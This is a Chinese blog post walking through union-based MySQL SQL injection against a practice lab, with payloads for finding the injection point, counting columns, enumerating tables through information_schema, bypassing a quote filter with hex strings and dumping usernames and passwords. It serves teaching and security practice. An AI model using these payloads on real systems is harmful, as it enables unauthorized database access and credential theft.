mysql注入-联合注入-靶场
一、注入流程
- 判断注入点
- 判断注入点本身所查询的字段数
- 确定显示位
- 查询数据库名,mysql版本,当前账户
- 查询该数据库的所有表名
- 查询表名所对应的所有字段名
- 查询字段名对应的字段值
二、靶场演示
2.1 判断注入点
- payload:
- ?id=1 and 1=2
- ?id=1 and 1=1
- 由下图我们可知,我们的代码成功的被执行,且为数字型注入

2.2 判断注入点本身所查询的字段数
- payload:
- ?id=1 order by 5 (页面返回正常)
- ?id=1 order by 6 (页面返回出错)
- 由下图我们可知,当前注入点所查询的字段数为5,这就要求我们在进行联合查询时,union关键字后面的select所查询的字段数应为:5

2.3 确定显示位
- payload:
- ?id=1 union select 1,2,3,4,5
- 由下图我们可知,确定的显示位有:1,2,3 ,共3个

2.4 查询数据库名,mysql版本,当前账户
- payload:
- ?id=1 union select database(),version(),user(),4,5
- sql语句解释:
- database(),version(),user(),均为mysql的内置函数,分别用于返回“当前查询语句所查询的数据库名”,“mysql数据库的版本”,“当前登录mysql数据库的用户”
- 由下图可知:
- 当前数据库为:hackyl
- 当前mysql数据库的版本为:5.0.51b-community-nt-log
- mysql当前用户为:root@localhost

2.5 查询该数据库的所有表名
- payload:
- ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='hackyl'
- 由下图可以得知,我们payload中的额单引号被过滤了,导致sql语句执行失败。

- 绕过单引号的payload:
- ?id=1 union select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=0x6861636B796C
- 这里我们将“hackyl”字符串转化为了十六进制,就不需要加单引号了,但是该语句仍然可以让mysql数据库进行执行。
- 由页面返回的结果可以看到,当前hackyl数据库拥有liuyan和user两种表,显然user表是我们所需要的。

2.6 查询表名所对应的所有字段名
- payload:
- ?id=1 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x75736572
- 后面的 0x75736572 为“user”字符串的十六进制形式
- 由页面的返回结果可知,其中的“username”字段和“password”字段正是我们所需要的。

2.7 查询字段名对应的字段值
- payload:
- ?id=1 union select group_concat(username),group_concat(password),3,4,5 from hackyl.user
- 由页面返回结果可以看出,user表中有三组账号密码,分别为:
- hackyl/hacky,hacky2/hacky,hacky3/hacky

posted @
2022-01-17 19:51
浅易深
阅读(
385)
评论()
编辑
收藏
举报
点击右上角即可分享
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统